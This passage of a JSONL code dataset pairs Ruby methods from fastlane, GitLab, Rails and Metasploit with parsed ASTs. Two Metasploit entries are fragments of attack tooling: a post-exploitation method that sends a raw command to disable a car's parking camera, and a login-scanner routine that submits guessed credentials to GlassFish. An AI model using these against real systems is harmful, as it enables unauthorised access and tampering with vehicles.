mac)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"platform\"]},\"empty?\"]},{\"type\":\"str\",\"children\":[\"ios\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"ios\"]},{\"type\":\"str\",\"children\":[\"mac\"]}]},\"include?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"The platform can only be ios or mac\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"udid\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FL_REGISTER_DEVICE_UDID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Provide the UDID of the device to register as\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FL_REGISTER_DEVICE_API_KEY_PATH\"]},{\"type\":\"str\",\"children\":[\"APP_STORE_CONNECT_API_KEY_PATH\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Path to your App Store Connect API Key JSON file (https://docs.fastlane.tools/app-store-connect-api/#using-fastlane-api-key-json-file)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"exist?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Couldn't find API key JSON file at path '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"api_key\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_names\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"FL_REGISTER_DEVICE_API_KEY\"]},{\"type\":\"str\",\"children\":[\"APP_STORE_CONNECT_API_KEY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Your App Store Connect API Key information (https://docs.fastlane.tools/app-store-connect-api/#using-fastlane-api-key-hash-option)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"lane_context\"]},\"[]\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Actions\"]},\"SharedValues\"]},\"APP_STORE_CONNECT_API_KEY\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"conflicting_options\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"team_id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"REGISTER_DEVICE_TEAM_ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"team_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The ID of your Developer Portal team if you're in multiple teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FASTLANE_TEAM_ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"team_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"REGISTER_DEVICE_TEAM_NAME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"The name of your Developer Portal team if you're in multiple teams\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"code_gen_sensitive\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CredentialsManager\"]},\"AppfileConfig\"]},\"try_fetch_value\",{\"type\":\"sym\",\"children\":[\"team_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"FASTLANE_TEAM_NAME\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]},\"to_s\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"DELIVER_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Optional: Your Apple ID\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]}","id":"6ffdc1ff-6624-4771-bc91-4ac237b90d42"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-grape-openapi/lib/gitlab/grape_openapi/models/security_scheme.rb","start_line":61,"raw_source":"def validate_type!\n          return if VALID_TYPES.include?(@type)\n\n          raise ArgumentError, \"Invalid type: #{@type}. Must be one of: #{VALID_TYPES.join(', ')}\"\n        end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_type!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALID_TYPES\"]},\"include?\",{\"type\":\"ivar\",\"children\":[\"@type\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid type: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@type\"]}]},{\"type\":\"str\",\"children\":[\". Must be one of: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"VALID_TYPES\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]}]}]}]}","id":"957798bc-c786-4df8-adbc-cbbae86b6b2b"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/attached/changes/create_one.rb","start_line":68,"raw_source":"def find_or_build_blob\n        case attachable\n        when ActiveStorage::Blob\n          attachable\n        when ActionDispatch::Http::UploadedFile\n          ActiveStorage::Blob.build_after_unfurling(\n            io: attachable.open,\n            filename: attachable.original_filename,\n            content_type: attachable.content_type,\n            record: record,\n            service_name: attachment_service_name\n          )\n        when Rack::Test::UploadedFile\n          ActiveStorage::Blob.build_after_unfurling(\n            io: attachable.respond_to?(:open) ? attachable.open : attachable,\n            filename: attachable.original_filename,\n            content_type: attachable.content_type,\n            record: record,\n            service_name: attachment_service_name\n          )\n        when Hash\n          ActiveStorage::Blob.build_after_unfurling(\n            **attachable.reverse_merge(\n              record: record,\n              service_name: attachment_service_name\n            ).symbolize_keys\n          )\n        when String\n          ActiveStorage::Blob.find_signed!(attachable, record: record)\n        when File\n          ActiveStorage::Blob.build_after_unfurling(\n            io: attachable,\n            filename: File.basename(attachable),\n            record: record,\n            service_name: attachment_service_name\n          )\n        when Pathname\n          ActiveStorage::Blob.build_after_unfurling(\n            io: attachable.open,\n            filename: File.basename(attachable),\n            record: record,\n            service_name: attachment_service_name\n          )\n        else\n          raise(\n            ArgumentError,\n            \"Could not find or build blob: expected attachable, \" \\\n              \"got #{attachable.inspect}\"\n          )\n        end\n      end","complexity_score":78.9,"ast_json":"{\"type\":\"def\",\"children\":[\"find_or_build_blob\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},{\"type\":\"send\",\"children\":[null,\"attachable\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"Http\"]},\"UploadedFile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"build_after_unfurling\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"original_filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"content_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[null,\"record\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[null,\"attachment_service_name\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rack\"]},\"Test\"]},\"UploadedFile\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"build_after_unfurling\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"open\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"open\"]},{\"type\":\"send\",\"children\":[null,\"attachable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"original_filename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"content_type\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[null,\"record\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[null,\"attachment_service_name\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"build_after_unfurling\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"reverse_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[null,\"record\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[null,\"attachment_service_name\"]}]}]}]},\"symbolize_keys\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"String\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"find_signed!\",{\"type\":\"send\",\"children\":[null,\"attachable\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[null,\"record\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"build_after_unfurling\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[null,\"attachable\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[null,\"attachable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[null,\"record\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[null,\"attachment_service_name\"]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pathname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveStorage\"]},\"Blob\"]},\"build_after_unfurling\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"io\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"open\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"filename\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"basename\",{\"type\":\"send\",\"children\":[null,\"attachable\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"record\"]},{\"type\":\"send\",\"children\":[null,\"record\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"service_name\"]},{\"type\":\"send\",\"children\":[null,\"attachment_service_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Could not find or build blob: expected attachable, \"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"got \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"attachable\"]},\"inspect\"]}]}]}]}]}]}]}","id":"3152cf13-04b0-4153-99de-91d35a1dc1a2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/issuables/assignee_filter.rb","start_line":51,"raw_source":"def filter_by_assignees(issuables)\n      assignee_ids = assignee_ids(params)\n\n      user_ids_from_group = extract_group_member_ids(params[:assignee_username])\n      return issuables.assigned_to(user_ids_from_group) if user_ids_from_group\n\n      return issuables.none if assignee_ids.blank?\n\n      assignee_ids.each do |assignee_id|\n        issuables = issuables.assigned_to(assignee_id)\n      end\n\n      issuables\n    end","complexity_score":17.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filter_by_assignees\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issuables\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"assignee_ids\",{\"type\":\"send\",\"children\":[null,\"assignee_ids\",{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_ids_from_group\",{\"type\":\"send\",\"children\":[null,\"extract_group_member_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"assignee_username\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_ids_from_group\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuables\"]},\"assigned_to\",{\"type\":\"lvar\",\"children\":[\"user_ids_from_group\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignee_ids\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuables\"]},\"none\"]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"assignee_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"assignee_id\"]}]},{\"type\":\"lvasgn\",\"children\":[\"issuables\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issuables\"]},\"assigned_to\",{\"type\":\"lvar\",\"children\":[\"assignee_id\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"issuables\"]}]}]}","id":"d7d5c196-3f0d-43f2-95dc-46b4bdac1689"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/android/local/koffee.rb","start_line":185,"raw_source":"def action_camera_reverse_off\n    print_status(' -- Parking camera video stream off -- ')\n    send_in('8353 03 00')\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"action_camera_reverse_off\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\" -- Parking camera video stream off -- \"]}]},{\"type\":\"send\",\"children\":[null,\"send_in\",{\"type\":\"str\",\"children\":[\"8353 03 00\"]}]}]}]}","id":"c9178886-c592-41b1-b9eb-04158eed7e9d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/rspec_run_time.rb","start_line":18,"raw_source":"def start(_notification)\n        @group_level = 0\n        @rspec_test_suite_start_time = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n        output.puts \"\\n# [RSpecRunTime] Starting RSpec timer...\"\n\n        init_expected_duration_report\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"start\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"_notification\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group_level\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@rspec_test_suite_start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"str\",\"children\":[\"\\n# [RSpecRunTime] Starting RSpec timer...\"]}]},{\"type\":\"send\",\"children\":[null,\"init_expected_duration_report\"]}]}]}","id":"e59ae0eb-a398-4bfb-85d1-80e49c8e827b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/metasploit/framework/login_scanner/glassfish.rb","start_line":105,"raw_source":"def try_login(credential)\n          data  = \"j_username=#{Rex::Text.uri_encode(credential.public)}&\"\n          data << \"j_password=#{Rex::Text.uri_encode(credential.private)}&\"\n          data << 'loginButton=Login'\n\n          opts = {\n            'uri'     => '/j_security_check',\n            'method'  => 'POST',\n            'data'    => data,\n            'headers' => {\n              'Content-Type'   => 'application/x-www-form-urlencoded',\n              'Cookie'         => \"JSESSIONID=#{self.jsession}\",\n            },\n            'cgi' => false\n          }\n\n          send_request(opts)\n        end","complexity_score":10.8,"ast_json":"{\"type\":\"def\",\"children\":[\"try_login\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"credential\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"j_username=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"public\"]}]}]},{\"type\":\"str\",\"children\":[\"&\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"j_password=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"uri_encode\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credential\"]},\"private\"]}]}]},{\"type\":\"str\",\"children\":[\"&\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"loginButton=Login\"]}]},{\"type\":\"lvasgn\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"/j_security_check\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"str\",\"children\":[\"application/x-www-form-urlencoded\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Cookie\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"JSESSIONID=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"jsession\"]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"cgi\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}]}","id":"c41e3d17-8f41-40d1-8b60-b062eaec814a"}
